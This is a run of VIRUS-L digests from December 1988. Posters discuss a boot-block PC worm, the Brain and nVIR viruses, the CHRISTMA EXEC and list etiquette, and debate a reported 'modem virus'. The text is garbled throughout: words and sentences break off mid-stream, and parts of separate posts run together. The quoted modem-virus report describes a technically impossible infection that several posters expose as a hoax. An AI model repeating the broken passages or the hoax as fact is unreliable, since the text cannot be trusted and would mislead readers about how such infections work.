   We discovered a virus (actually a worm) on Monday, 1988 Dec 05.

   We know the following:
      1) It works for IBM PC's and compatables.

      2) The worm resides on the boot block of a disk.

      3) The computer is infected when an infecteoks to see
         if it has an infected disk if it does not it picks up the
         "real" bootstrap drops in on a spot near the end of the disk,
         and installs itself in the bootstrap and then boots the machine.

      5) The place were it drops the "real" bootstrap is sector 709
         on a 360K floppy I doubt this is true for any other media.

      6) The WORM is counting. It doesn't seem to be counting anything
         obvious, number of copies of itself, number of machines...

      7) We can track the worm back to approx 88 Nov 24, to a public
         machine.

      8) By considence there were 3 FAT tables "magically" erased in the
         last 2 weeks that we know of. I was at a party on Saturday night
         and some of the comments that I was getting suggests that a
         fair number of organizations outside the university may have
         been hit.

      9) We have it disassembled and I will getting help from our
         EE depart that will detect and erase the worm,
         it is appended to this request for info.  [Ed. The program
         was rather large; I'll make it available via the LISTSERV if
         there is sufficient interest.]

   Questions
    1)  Have you seen this worm before?
    2)  Any idea of the origin?
    3)  Will this worm really erase the FAT?

  I am not on this news group please respond to me direct.

 Michael MacDonald
 Software Specialist, School of Computer Science
 University of New Brunswick
 Po. Box 4400
 Fredericton, New Brunswick
 CANADA    E3B 5A3

 [phone]

 Netnorth/BITNET: [e-mail]

------------------------------

End of VIRUS-L Digest
*********************
VIRUS-L Digest             Tuesday, 13 Dec 1988         Volume 1 : Issue 44

Today's Topics:
emergency messages
more on modem virus
low level format

---------------------------------------------------------------------------

Date: Mon, 12 Dec 88 22:26:42 CDT
From: Len Levine <[e-mail]>
Subject: emergency messages

>** OVERFLOW ** OVERFLOW ** OVERFLOW ** OVERFLOW ** OVERFLOW ** TILT **
>I'm facing a dilemma that may be troubling other readers of this llist
>as well:  the list contents is getting just too voluminous (not to say
>repetitious at times) and I just don't have time to wade through it all
> [...]

Why not send such emergency messages with a different caption than is
normally used in this collection.  That way a normal reader can look
at the messages when s/he has time, and read the alarms when they come
up.

+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| Leonard P. Levine               e-mail [e-mail] |
| Professor, Computer Science             Office [phone] |
| University of Wisconsin-Milwaukee       Home   [phone] |
| Milwaukee, WI 53201 U.S.A.              Modem  [phone] |
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +

[Ed. Hopefully, this problem has been taken care of with VALERT-L...]

------------------------------

Date:     Mon, 12 Dec 88 22:02 EST
From:     <LACUREJ@IUBACS>
Subject:  more on modem virus

A report of the so-called modem virus was posted to a local BBS here
in Bloomington, Indiana, about a month ago.  I know nothing about
sub-carriers on 2400 baud modems, but I found the idea of a virus
inhabiting the registers of a modem to be so fantastic that I
dismissed the report as nothing more than a prank.  Below is a copy of
the first message in the report, it was followed by a series of
messages as the virus allegedly spread through Washington State.

Jon LaCure
Indiana University
lacurej@iubacs

Report:
- ----------------------------------------------------------------------------

Thd on a Seattle board.  Looks like a really
bad virus is out now.  TC
- -------------------------------------------------------------------- a
#1153 OF 1165 TIME:  TUE 10-04-88  03:17:41 FROM:  MIKE ROCHENLE   TO:  ALL
SUBJ:  Really nasty virus
AREA:  GENERAL (1)
   I've just discovered probably the world's worst computer virus yet.
I had just finished a late night session of BBS'ing and file trading
when I exited Telix 3 and attempted to run pkxarc to unarc the
software I had downloaded.  Next thing I knew my hard disk was seeking
all over and it was apparantly writing random sectors.  Thank god for
strong coffee and a recent backup.  Everything was back to normal, so
I called the BBS again and downloaded a file.  When I went to use ddir
to list the directory, my hard disk was getting trashed agaion.  I
tried Procomm Plus TD and also PC Talk 3.  Same results every time.
Something was up so I hooked up my test equipment and different modems
(I do research and developmentis the world's worst
computer virus yet.  The virus distributes itself on the modem
sub-carrier present in all 2400 baud and up modems.  The sub-carrier
is used for ROM and register debugging purposes only, and otherwise
serves no othr purpose.  The virus sets a bit pattern in one of the
internal modem registers, but it seemed to screw up the other
registers on my USR.  A modem that has been "infected" with this virus
will then transmit the virus to other modems that use a subcarrier (I
suppose those who use 300 and 1200 baud modems should be immune).  The
virus then attaches itself to all binary incoming data and infects the
host computer's hard disk.  The only way to get rid of the virus is to
completely reset all the modem registers by hand, but I haven't found
a way to vaccinate a modem against the virus, but there is the
possibility of building a subcarrier filter.  I am calling on a 1200
baud modem to enter this message, and have advised the sysops of the
two otherly the best thing to
do now is to stick to 1200 baud until we figure this thing out.

                                        Mike RoChenle

------------------------------

Date:         Tue, 13 Dec 88 03:50:23 EST
From:         "Homer W. Smith" <CTM@CORNELLC>
Subject:      low level format

     Thank you all for responding how to do a low level format
of my PC.  I have suspected it for a long time for minor
misbehaviors and I doubt it is a virus, but you neverknow.
I have used a software disk from DAK with bulliten board stuff
on it, so who knows how infected I am.

     Anyhow, most that responsded said the low level format would
handle everything for me.  One though said that I had to know where
the hard disk errors were and feed them to the low level format
program as it prompted me for them.  They said these hard errors
were written on some tag on the disk itself.

     Asking others about this, they said no way, the program would
just do it and find all t the dos manual at all about it.
So the more specific you are the better.

     Respond if you want to ctm@cornellc.

------------------------------

End of VIRUS-L Digest
*********************

VIRUS-L Digest             Tuesday, 13 Dec 1988         Volume 1 : Issue 45

Today's Topics:
on CHRISTMA EXEC (IBM VM/CMS)
Undigestifyer for MSDOS?
Current status of Fred Cohen
RE: Low Level Formats on IBM's (PC)
contacting people at BITNET addresses
More on modem virus
Virus alerts
Re: CHRISTMA EXEC?? Kids Stuff!!!! (IBM VM/CMS)
re: modem virus
Re: PC virus reported in V1 I43 by [e-mail]
MegaROM CD with nVIR (Mac)
Some people aren't fighting...

---------------------------------------------------------------------------

Date:      Tue, 13 Dec 88 09:01:56 LCL
From:      Bret Ingerman [{315} 443-1865] <[e-mail]>
Subject:   on CHRISTMA EXEC (IBM VM/CMS)

re:        Gabriel Basco's recent note...

   It would seehecking out the
code (which is what we did with the Christmas EXEC).  If you can't
read the code, then you probably should not run the program.


        BRET INGERMAN   ACADEMIC COMPUTING SERVICES
              ______    SYRACUSE UNIVERSITY
             /      |         -------
            |       |   BITNET:    INGERMAN@SUVM
  _________/        |   NOISENET:  [phone]
  |         *       |   SNAILNET:  215 Machinery Hall
 /      SYRACUSE    |              Syracuse, NY 13244-1260 USA
|______________     |
               |_   |
                 |__|   DISCLAIMER: I didn't say that, did I???

------------------------------

Date:     Sun, 11 Dec 88 13:16 EDT
From:     Peter D. Junger <JUNGER@CWRU>
Subject:  Undigestifyer for MSDOS?

        I would be very happy to have an undigestifyer running on VMS,
but there is so little space on our node that I would be much better
off if I could down-load digests to my PC and do the undigestifying
there?  Does an MSDing un-digestifier
for any system - please let me know so that I can post it on the
LISTSERV here.]

------------------------------

Date:    Tue, 13 Dec 88 08:13 CST
From:    Ken  De Cruyenaere <KDC@UOFMCC> 204-474-8340
Subject: Current status of Fred Cohen

Fred was one of the speakers at the CSI conference in Miami last month.
At the time he said that anyone interested in more material should
leave their names.  I did.  I received the following:

   Hi,
    I'm sorry I have to do this by form letter,
  but I go so many requests for
  information about my papers, I simply couldn't do it any other way.
  I put you in a mailing list for people interested in viruses so I
  can continue to let you know about new results.  If you want out of
  the mailing list, just let me know.
    I have 2 books on viruses that you might be interested in.
  One is my PhD thesis, written in 1984 at USC, and has all of the
  mathematical details you will likely ever want to see (and perhaps
  more).  The other is simply a collection of all the journal articles
  I have published in the last 5 or so years placed in a single
  binder for your reading convenience.
     The cost (everything included - 1st class mail, etc.) is
  $20/book, which should't break you or your organization.  If you'd
  like one or more of one or both, just fill in the form at the
  bottom of the page, send a check or money order (payable to
  Advanced Software Protection) to:
       Fred Cohen
       c/o Advanced Software Protection
       PO Box 90069
       Pittsburgh, PA 15224

     I will get copies to you as soon as I can...
                             Thank you for your interest,

                             Fred Cohen
  -------------------------------------------------------------
      title                       how many             total
  Computer Viruses - the thesis    _______   @$20      _______
  Fred's Papers                    _______   @$20      _______
                               Grand Total            $_______

------------------------------

Date:     TUE DEC 13, 1988 09.50.15 EST
From:     "David A. Bader" <DAB3@LEHIGH>
Subject:  RE: Low Level Formats on IBM's (PC)

I recently low level formatted my 40 meg hard disk (not a fun
experience) because I had some minor non-virus related problems with a
partition.  Anyway, the only program I had around to do this format
was a PD Low level format which did not ask me for my bad sector list
(which should be adhesed to the top of everyone's hard disk by the
manufacturer).  However, I have seen some formatter's that do ask for
this list to be typed in.

      -David Bader
       DAB3@LEHIGH

------------------------------

Date: Tue, 13 Dec 88 09:57:01 est
From: [e-mail]
Subject: contacting people at BITNET addresses

     I am having trouble getting through to bitnet addresses.  It
would be helpful for those who are asking for information to put the
address that those of us on arpanet could use.  Several times I have
tried to contact people and the mail was sent back by the postmaster.
If anyone has the "rules" for changing bitnet addresses to arpanet
address format, I would appreciate it.

Greg - What is the title you are interested in?  I have several
articles by Fred Cohen.

[Ed. On sending to BITNET from Internet/ARPAnet - Most mailers will
send mail addressed to [e-mail] through the appropriate
gateway.  If that doesn't work, you can usually get away with
user%node.BITNET@gateway - where "gateway" is a known Internet/Arpanet
to BITNET gateway, such as the one at CUNYVM.CUNY.EDU.]

------------------------------

Date: Tue, 13 Dec 88 10:29:10 EST
From: Don Alvarez <[e-mail]>
Subject: More on modem virus

Quoting from issue 44:
   I've just discovered probably the world's worst computer virus yet.
I had just finished a late night session of BBS'ing and file trading
when I exited Telix 3 and attempted to run pkxarc to unarc the
software I had downloaded.  Next thing I knew my hard disk was seeking
...END Quote

    I'm a Mac user and don't recognize those words.  Is the
    speaker talking IBM-PC words, Amiga words, VMS words, etc.
    What kind of computer did he have?

    If the virus is real, it must be writing itself into the
    on-board storage space used in high-speed modems and then
    instructing the modem to run that portion of memory (good way
    to check if this virus is real: Does anyone know if high
    speed modem chips are designed on Harvard-type architectures
    (separate Program/Data), I think many DSP chips are now
    designed that way).  If my guess is right, the virus could
    not propagate on modems with Harvard-Architecture as they
    would be unlikely to have sufficient "program" memory for
    a virus (the speaker mentions setting a "bit pattern in an
   modem register," I can't believe that alone is enough
    to make a hard-disk crashing virus).

    The reason why I ask what kind of PC the author is using is that
    it is EXTREMELY unlikely in my opinion that a virus of this sort
    could infect different kinds of computers... Mac boot blocks dont
    look anything like PC boot blocks.

    Also, as I understand it, a good 9600baud modem is completely
    transparent to the user... once you configure it, it looks like
    a 9600 baud cable connected to a computer.  Sounds to me like
    this virus must be keyed not only to a specific computer but
    also to a specific PC based file-capture program, and will probably
    not propagate if all you do is 9600 baud terminal emulation.

                        - Don Alvarez

    Disclaimer: "He's not the messiah, he's just a very naughty boy
    (who of course isn't speaking for himself, his employer, or the
    local dry-cleaner)."

     + -------------------------618   |
     |   [phone]            Cambridge, MA 02139             |
     + ----------------------------------------------------------- +

[Ed. I think that the first report of this purported virus was
referring to a PC environment.]

------------------------------

Date: Mon, 12 Dec 88 17:30:29 CST
From: David W. Richardson <[e-mail]>
Subject: Virus alerts

On 12-9, Ben Chi <
([e-mail]) asked for another listserv that would distribute virus
warnings.  I have a suggestion:

1.  All messages which are warnings use the same subject line, for
example Subject: "VIRUS WARNING: XXXXXXXX" where XXXXXXXX is the real
subject.  We could use our mail directories to filter the vital info
from the rest of the list.

2.  When digesting, put the VIRUS WARNINGs at the beginning of the
digests, so that we digest-readers can only worry about the vital
stuff (if we so choose).

Similarly, there could be a reserved subject called RECENT CUi-viral measures.

- -David Richardson
c044dwr <--reveiw this list on 1/1 for my new address

Are they viruses or viri?  I'm asking.

[Ed. Viruses.  Good suggestions, thanks...  That, in conjunction with
the non-moderated (for timeliness) VALERT-L is what I'll shoot for.]

------------------------------

Date:        13 December 88, 18:51:33 +0100 (MEZ)
From:        Otto Stolz         [phone]     RZOTTO   at DKNKURZ1
Subject:     Re: CHRISTMA EXEC?? Kids Stuff!!!! (IBM VM/CMS)

> Or should we just don't run any programs that appear in the READER??

Gabe,

perhaps the rule should read:
   Don't run any programs that you neither can read and understand,
   nor have ordered from some trustworthy supplier,
   regardless of the way or media of delivery
   (i.e. this even applies to printed copies of source programs
   in a language you are not familiar with).

Best regards
             Otto

------------------------------

Date:     Tue, 13 Dec 88 11ble enough so the virus could store itself in them all?

2. Do these modems have enough internal memory to store all the
infirmation needed?

3. No mention is made of what computer or operating systems
are being used (probably default=ms-dos on a pc clone).

Paranoid conjecture: there is >>>no<<< modem virus!!!
It is just a rumor being spread by a modem company that
either (1) does not sell fast modems or (2) will be coming
out shortly with a "virus-proof" modem.

Marty Cohen ([e-mail], 128.99.0.1)

------------------------------

Date:         Tue, 13 Dec 88 14:54:25 EST
From:         Naama Zahavi-Ely <[e-mail]>
Subject:      Re: PC virus reported in V1 I43 by [e-mail]

Hello!

This seems like a virus that we found here at Yale this summer.  I
doubt very much that it originated here.  If it is the same one, then
it is nearly invisible on a PC, but if you try to boot an AT from an
infected disk, it will "hang" with an undeputer will stay "hung".  If one tries to
soft-boot an infected AT from a write-protected disk, it will seem to
function normally, but will still be infected.  To the best of my
knowledge, the virus did not erase any FAT tables.  Also to the best
of my knowledge, it was brought over to Yale unintentionally by a
visiting scholar.
I hope this helps!

Naama

+ -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- +
|  Naama Zahavi-Ely                                                    |
|  Project ELI                           E-MAIL [e-mail]   |
|  Yale Computer Center                                                |
|  175 Whitney Ave                                                     |
|  New Haven, CT 06520                                                 |
|  [phone] ext. 341                                             |
+ -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- +

------------------------------

Date: Shuster 74166,2027
>To: All
>
>Unfortunately, I have just discovered that the "MegaROM" CD-ROM (Vol
>1,Oct 88) is infected with the "nVIR" virus in seven files.  What's
>worse is that among the infected files are Hypercard and Stuffit
>1.5.1, two applications most likely to be executed from it.  Please
>check your copies of Hypercard and Stuffit (and the other applications
>listed below) for "nVIR" resources (numbered 1,2,3,6, and 7): if
>present, you're infected.
>
>The MegaROM CD is available from either Quantum Leap Technologies or
>Nimbus Information Systems. The one that I found to be infected is
>marked Volume 1, October 88 (another version is planned for January
>89). The infected files are:
>  DAs:McSink 5.0:McSink Opener
>  Graphics:*VideoWorks:BigSound VW Player
>  Graphics:Dynamo
>  Hypercard Files:Hypercard 1.21:Hypercard
>  Hypercard Files:Sound Stacks:Sound Utilities:SoundMover
>  Modem Files:Archiving Utilities:Stuffit Update:Stuffit 1.5.1
>  Utilit. Note that Apple's Virus Rx currently will not detect this
>virus!
>
>It didn't do any damage to me (besides the time it took to disinfect).
>The first symptom I had was a bomb on startup, apparently forced by
>Vaccine when it adetects an infected System or Finder. Unfortunately,
>the disk was apparently infected just days before the final directory
>was built (all the modification dates of the infected applications are
>from 10/11 to 10/13/88).
>
>The CD is otherwise a tremendous bargain, with more than 300 megabytes
>of software and data for $50.
>
>--Cy Shuster-

The bomb is caused because Vaccine attempts to put up a dialog at INIT
time, but not all of the necessary managers are initialized then.

This infection has not yet been verified. Can others with this CD-ROM
disk check and post back to the list?

- --- Joe M.

------------------------------

Date:         Tue, 13 Dec 88 15:58:18 EST
From:         Joe McMahon <XRJDM@SCFVM>
Subject:      Some peoplo-hum attitude indeed! Or worse!

A student came referred to me last week because her teacher said that
anyone whose final project bombed during the review would drop two
letter grades: that's from an "A" to a "C", "B" to a "D", etc. Fairly
stringent for a 1st quarter mac programming course.

She had made some references to fonts which were not resident on most
systems as well as a few other stupid mistakes (hell, her wholeprogram
was not very well thought out, but that's not my problem. In fact,
helping students with their programming is DEFINITELY NOT my problem)
and we recompiled and it worked (in its stupid way) well, without
bombing.

I took the liberty of insisting that I remove some disabled dotted
lines stuck at the end of some one-item pull down menus (more bad
interface) and found nVIR in her program and in her copy of RMaker on
her disk. My Mac is protected, so it wasn't a problem for me, but she
was going to go around and stick this disk in whatever computause
her to rebuild her resource file (LOTS of PICTs). She grabbed her disk
and ran from my office screaming that is wasn't her fault and why
didn't everyone leave her alone.

Subsequent conversations with her professor -- in a discrete manner --
revealed her to be earning about a "D" up to that point anyway.

So talk about "ho-hum". I'd call that "agressive and blatant
disregard".that "ag

- --scott

<< Ack!
<<
<< --- Joe M.

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest            Wednesday, 14 Dec 1988        Volume 1 : Issue 46

Today's Topics:

Fred Cohens Thesis
VIRUS WARNING:  Brain Virus at Yale
Information Overload
Re: modem virus
>> TROUBLE << - Brain virus on distribution disk (PC)

---------------------------------------------------------------------------

Date:     Tue 13 Dec 1988 17:25 CDT
From:     GREENY <MISS026@ECNCDC>
Subject:   Fred Cohens Thesis

Hiya all, I too have been attempting to get a copy of Fred Cohens
thesis and I finally broke down and went into the library and heres
what I dug up.

1) I looked in the lists of dissertations after getting the librarian to
   look it up for me on DIALOGUE.

2) The only copies available are directly from the Micrographics Department
    at University of Southern California (los angeles I think....)

So I put my interlibrary request thru, and Im still waiting three
weeks later.  I think Ill just buy one....by the time interlibrary
loan comes thru, Ill be 95 yrs old...:->

Bye for now but not for long
Greeny
Bitnet: miss026@ecncdc
Internet: [e-mail]

------------------------------

Date:         Wed, 14 Dec 88 15:31:46 EST
From: "Conrad Jacoby (DC)" <[e-mail]>
Subject:      VIRUS WARNING:  Brain Virus at Yale

Howdy!!

    Last night one of our computer consultants encountered a user who
had all his disks infected with some version of the BRAIN virus.
We're working on figuring out where any infected sites might be, as
well as try to detect any changes that have been made to the Brain to
change it from its original code.

    As we do not know how long this user (who is a Yale Grad Student)
might have had his disks infected, it might be prudent if you have
visited Yale recently and used a PC there to check your disks.  We're
hoping it was just a very isolated outbreak.

- --------------------------------------------------------------------------
Conrad J. Jacoby                       P.O. Box 3805 Yale Station
Yale University                        New Haven, CT 06520
Sterling Memorial Library              [phone]

"Generalist at Large"                  [e-mail]
                                             @Yalevm.ycc.yale.edu
- --------------------------------------------------------------------------

[Ed. This is a reposting (the first!) from VALERT-L...just for those
who might be interested.]

------------------------------

Date:  Wed, 14 Dec 88 15:02 EST
From:  Lynn R Grant <[e-mail]>
Subject:  Information Overload

Regarding the recent complaints about too much information on Virus-L to
be able to find anything, I had a thought:  how much smaller would the
Virus-L digests be if we cut back on the long right-bracketed quotations
from previous entries and the multi-line signiture blocks, complete with
pictures, cursive signatures, and quotations from favorite cartoon
characters?  I'm rather new to Virus-L, so I don't know to what degree
these things are an essential part of the Virus-L culture, but its a
thought.

     Lynn Grant

[Ed. The right hand bracket quotations can certainly be cut to a
minimum from time to time, leaving just enough to get the pertinent
information across, in my opinion.  As for the signatures, being
somewhat of an, er, culprit myself...I believe that a 5 line signature
is a generally accepted network etiquette standard, and I don't see
anything wrong with getting five lines of identifying text in.  Any,
er, additional text in those five lines doesn't do much harm, I should
think...  :-)]

------------------------------

Date: Wed, 14 Dec 88 14:27:54 CST
From: "Rich James" <MATHRICH@UMCVMB>
Subject: Re: modem virus

It looks to me like the initial announcement of this purported virus was
itself a virus attack against human hardware!  It cleverly exploits the
current pitch of fear about viruses, and has a phenomenal infection rate.
Thanks goodness it's relatively benign!
Think of it now folks:

How could a self replicating virus become embedded in registers which are
used to hold data, not program instructions?  The only memory used to hold
program instuctions in a modem is ROM.  Data registers are treated as DATA.
Getting a modem to treat a data register as program input would require
the exploitation of a known bug in the modem's ROM program.  Such ROMs
are anything but standard .. they vary between manufacturers and
between models and revisions of modems from the same manufacturer.

How likely is it that an industry standard modem protocol would have an
'unused bandwidth' sufficient to allow simultaneous transmission of a
separate data stream?  It wouldn't be much of a protocol if it ignored
such potentially useful bandwidth.

How could such a virus convince the terminal program running on the
computer to modify system files, especially in a user-transparent way?
(it's easy enough to clobber a file by writing over it, but patching a
machine code file or RAM resident code in a transparent way is pretty
non trivial) Remember, incoming modem data is treated as DATA, not
program information. Again, this would require exploitation of a known
bug common to all or many modem programs, and all or many error
correcting protocols. Seems a tad unlikely.

Education=immunization.

------------------------------

Date:         Wed, 14 Dec 88 18:26:40 EDT
From:         SSAT@PACEVM
Subject:      >> TROUBLE << - Brain virus on distribution disk (PC)

I just received my own personal copy of a popular IBM word processor
>> DIRECT FROM THE MANUFACTURER << in a sealed carton, and guess what?

When I installed it, it decided to be nice and loaded my disks with
BRAIN!

Yes, the disks I installed it on were BRAND NEW and freshly formatted
from a secure copy of DOS.

I don't want to mention any names here, but I spoke to the manufacturer
who was not at all surprised (in my opinion) that this had happened.

To reiterate, it DID NOT happen at Pace University, but to my own personal
copy of


[Ed. of?  of what?  I don't think that mentioning the name here, if
indeed the virus is on the distribution disk, would do any harm; quite
the contrary, it would warn innocent (prospective) buyers.]

------------------------------

End of VIRUS-L Digest
*********************
VIRUS-L Digest             Thursday, 15 Dec 1988        Volume 1 : Issue 47

Today's Topics:
Re: CHRISTMA EXEC?? Kids Stuff!!!! (IBM VM/CMS)
Modem virus
Request for list of viruses (Mac and PC)

---------------------------------------------------------------------------

From: portal!cup.portal.com![e-mail]
Date: Wed, 14-Dec-88 15:32:52 PST
Subject:     Re: CHRISTMA EXEC?? Kids Stuff!!!! (IBM VM/CMS)

In an article posted 13 December 88, 18:51:33 Otto Stolz writes:

>   Don't run any programs that you neither can read and understand,
>   nor have ordered from some trustworthy supplier,

     The interesting thing about the CHRISTMA EXEC was that it mailed
itself to people in your nicknames and netlog files.  Namely, people
with whom you regularly correspond.  So here at IBM, employees would
receive this exec from people they regularly corresponded with - i.e.
people they knew and trusted.  So CHRISTMA EXEC *did* come from a
trustworthy supplier!

     Even shrink-wrapped software from a multi-million dollar
corporation cannot be considered as coming from a trustworthy supplier
- - Aldus accidentally distributed FreeHand with the MacMag virus in it.

     If you mean not to run any program you can't read and understand
*even* if from a trustworthy supplier, then you've just killed the
entire software business.  How many software companies provide large
database programs in source form?  How many users could understand all
of such a beast if they did get it in source form?  Sometimes even the
people writing the software do not understand all of it.


Dan Hankins

------------------------------

From: portal!cup.portal.com![e-mail]
Subject: Modem virus
Date: Wed, 14-Dec-88 18:18:12 PST

     From the description of the remedies given by the person who
purportedly found this alleged virus, I'd have to guess that it could
be an attempt to cut down on modem traffic by making people scared to
use their modems.  I can think of several reasons why someone would
want to cut down on transfers of programs and data freely over phone
lines.


Dan Hankins

------------------------------

Date:      Thu, 15 Dec 88 08:28:20 LCL
From:      Bret Ingerman [{315} 443-1865] <[e-mail]>
Subject:   Request for list of viruses (Mac and PC)

   A simple request (I hope): Would it be possible for someone to post
a listing of all known Mac and IBM viruses, what they do, and how to
treat them (i.e., what softwaPlease let me know if such a list exists or if it would be wise
for me to create one.  Thanks.

        BRET INGERMAN   ACADEMIC COMPUTING SERVICES
              ______    SYRACUSE UNIVERSITY
             /      |         -------
            |       |   BITNET:    INGERMAN@SUVM
  _________/        |   NOISENET:  [phone]
  |         *       |   SNAILNET:  215 Machinery Hall
 /      SYRACUSE    |              Syracuse, NY 13244-1260 USA
|______________     |
               |_   |
                 |__|   Disclaimer:  Who said that?

------------------------------

End of VIRUS-L Digest
*********************


VIRUS-L Digest             Thursday, 15 Dec 1988        Volume 1 : Issue 48

Today's Topics:
Report of Brain unclear
Details on Brain virus at Yale (PC)
generic undigestifier

---------------------------------------------------------------------------

Date:         Thu, 15 Dec 88 09:13:26 EST
From:         Joe Simpson <[e-mail]>
Subject:      Report of Brain unclear

The origional Pakastani Brain has several properties.
1.  The infection vector is a trap in the boot block.  Brain only
    activates when an infected diskette is booted.
2.  The origonal Brain only infects 5.25 inch floppies.  It has specific
    checks that permit it to aviod 3.5 inch floppies and hard disks.

A recent report suggested that Brain came as a no charge extra with a
commercial word processor.  Unless the victim tried to boot a diskette
from the vendor the origional brain could not have infected the
victims diskettes.

If there is a "Brain injector" out there I would like to have that
verified.  It would change the rules of the game.

If there is a version of Brain that infects hard disks I would like to
have that verified as well.

In a similar vein, there has been an incredible report of V.22 bis
modems serving as a carrier for a hostile agent program.  Since a V.22
bis modem is a computer it would be helpful for someone with a clear
understanding of V.22 bis and the common implementations to comment on
the likelihood of risk from this quarter.


[Ed. I would think that a good "moral to the story" is that one should
not jump to conclusions; that only perpetuates rumors.  It would be
premature to place too much faith in either report until they can be
verified, or at least until a further description, which is accurate
in technical details, is offered.]

------------------------------

Date:         Thu, 15 Dec 88 10:29:41 EST
From:         Naama Zahavi-Ely <[e-mail]>
Subject:      Details on Brain virus at Yale (PC)

Two days ago we discovered at Yale several diskettes infected with the
Brain virus.  The version we have contains in its boot sector the
following text:

Welcome to the Dungeon (c) 1986 Brain & Amjads (pvt) Ltd VIRUS_SHOE
RECORD v9.0 Dedicated to the dynamic memories of millions of virus who
are no longer with us today - Thank GOODNESS!!  BEWARE OF THE er VIRUS
: \this program is catching program follows after these messeges

The infected diskettes also had their volume name set to (c) Brain.

This variant of Brain seems to create a hidden file on the diskette,
with 0 bytes, and each of the infected diskettes has 3072 bytes in bad
sectors.  For all we know, the user may have had infected diskettes
for a very long time -- we discovered the infection while trying to
solve an unrelated WordPerfect problem.  Luckily all our public
diskettess are write-protected.

Now the questions: can this virus infect hard disks under any
circumstances?  How do systems (RAM) become infected -- at start-up
only, or otherwise?  How do other disks become infected: when
formatted, written to, soft-booted?  What is the most trouble-free way
of getting rid of it?  I suggested formatting a new diskette on a
clean system, copying the files over, then re-formatting the infected
diskette -- would that work?  Are there any dangers involved with this
virus, other than the 3 bad sectors mentioned above?  I have seen
recommendations of DEBRAIN, but I am afraid it might give people a
false sense of security against viruses in general, so if the
reformatting method mentioned above would work, I would rather use it
- -- but I would welcome any opinions to the contrary.

Please send to me or to the list any helpful hints you can think of --
any information would be appreciated!

Thanks,
Naama

+ -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- +
|  Naama Zahavi-Ely                                                    |
|  Project ELI                           E-MAIL [e-mail]   |
|  Yale Computer Center                                                |
|  175 Whitney Ave                                                     |
|  New Haven, CT 06520                                                 |
|  [phone] ext. 341                                             |
+ -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- +

------------------------------

Date: Thu, 15 Dec 1988 16:26:34 EST
From: Ken van Wyk <[e-mail]>
Subject: generic undigestifier

Thanks to Jeff Ogata for sending in a generic undigestifier written in
C.  It appears to be very standard C and compiled as-is on our Sun.
It should compile with most C compilers including WATERLOO C on IBM
VM/370 machines.  The program does the following:

1) read in (via stdin) a file containing a VIRUS-L digest.
2) output individual files (digest.1, digest.2, ...), each containing
   one message.
3) output a file (digest.contents) containing the table of contents
   for that message.

It can also extract a specific message number from a digest.  I'll
make this program available from our LISTSERV in the near future.

A couple other people have also volunteered to send in undigestifying
programs, and there is apparently one available for anonymous FTP from
SIMTEL-20.ARMY.MIL in the PD1:<MSDOS.C> directory.  Thanks to everyone
who sent me info, etc.!

One person who offered to put together a small program asked what kind
of functionality would be best.  That made me realize that I should've
specified something from the beginning...  I don't want to sound
ungrateful to Jeff and the others who've helped; we already have a lot
more now than what we started with!  But, let me point out what I'd
consider to be an ideal undigestifier for the average digest reader
(any digest, not just VIRUS-L).

An ideal undigestifier would read in table of contents of a digest and
display it on the screen.  Then, it would allow the user to point at
one or more individual messages and view, extract, print, or perhaps
even invoke a text editor to generate a reply file suitable for
merging into the local mail system.

Thanks again to Jeff and the others!  I hope this doesn't sound as
though your efforts aren't appreciated.

Any comments or suggestions?

Ken

------------------------------

End of VIRUS-L Digest
*********************
VIRUS-L Digest              Friday, 16 Dec 1988         Volume 1 : Issue 49

Today's Topics:
Request for comments on public anti-virus programs (PC)

---------------------------------------------------------------------------

Date:     Thu, 15 Dec 88 21:44 EST
From:     <[e-mail]>
Subject:  Request for comments on public anti-virus programs (PC)

I got the following anti-virus programs from the LISTSERV@LEHIIBM1 :
1. dprot102
2. trapdisk
Can any one who has used these programs tell me if they have any
advantages over Flushot+ 1.4. From the documentation, I can't seem to
tell if they do any more. Any other comments about these two programs
would be welcome.  Please suggest some other useful programs for the
IBM PC and sources to get them from.

(I have flushot+ 1.4, debrain 1.4 and checkup 1.8, and have read Y.
Radai's comments ovirus (though de-brain seems to have
gotten rid of it) and am worried about future encounters !

Thanks.

Mathew Mathai
- -----------------------
Virginia Tech         |
Bitnet : mathai@vtcc1 |
- ----------------------

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Friday, 16 Dec 1988         Volume 1 : Issue 50

Today's Topics:
Report of Scores Author
Is there someplace that all the information is kept??
Common sense re: software suppliers
Brain Virus at Yale (PC)
Re: Brain virus at Yale (PC)
What does the Brain virus do? (PC)
Brain at U of Vermont (PC) -- forwarded msg from LIAISON list
VIRUS WARNING: Brain virus at Univ. of Vermont (PC)

---------------------------------------------------------------------------

Date: Fri, 16 Dec 88 09:17:50 EST
From: Don Alvarez <[e-mail]>
Subject: Report of Scores Author

    The Rumor Manager in the latest issue of MacUser claims
    that Apple has known the author of the Scores Virus for
    "several months" now, and that the matter is in the hands
    of their lawyers.

                ....And on the 8th day, the Lord
                    created civil suits....

                    - Don

     + ----------------------------------------------------------- +
     |   Don Alvarez               MIT Center For Space Research   |
     |   [e-mail]      77 Massachusetts Ave   37-618   |
     |   [phone]            Cambridge, MA 02139             |
     + ----------------------------------------------------------- +

------------------------------

Date:    Fri, 16 Dec 88 09:42 EST
From:     <[e-mail]>
Subject: Is there someplace that all the information is kept??

It occured to me today that I have heard many requests for essentially
the same thing : "What is such and such virus, how does it work, what
does it infect, and how can I protect against it?"  It would seem to
me that these requests become repetitive, and that the people with the
answers must be getting sick of sending replies in time after time.

A letter posted a few days ago comes to mind : Someone asking if there
was a master file with descriptions of all known viruses for the IBM
Pc and the Mac.  My question is, Is there?  Such a file would prevent
a lot of hassles, and perhaps at the beginning of each week the digest
could print the location of such files and any recent updates that
have been added.

Now I realize this is asking a lot of the list owner.  As if he
doesn't have enough to do already.  But perhaps it is time someone
else jumped into the fray, and compiled such a list.  I am sure that
there are many 'experts' who would be willing to write information for
such a file, it would just be a matter of editing it together.

Or perhaps this has already been done, and I don't know about it.  And
that is just as bad - if it exists everyone should know where to get
it, even me.


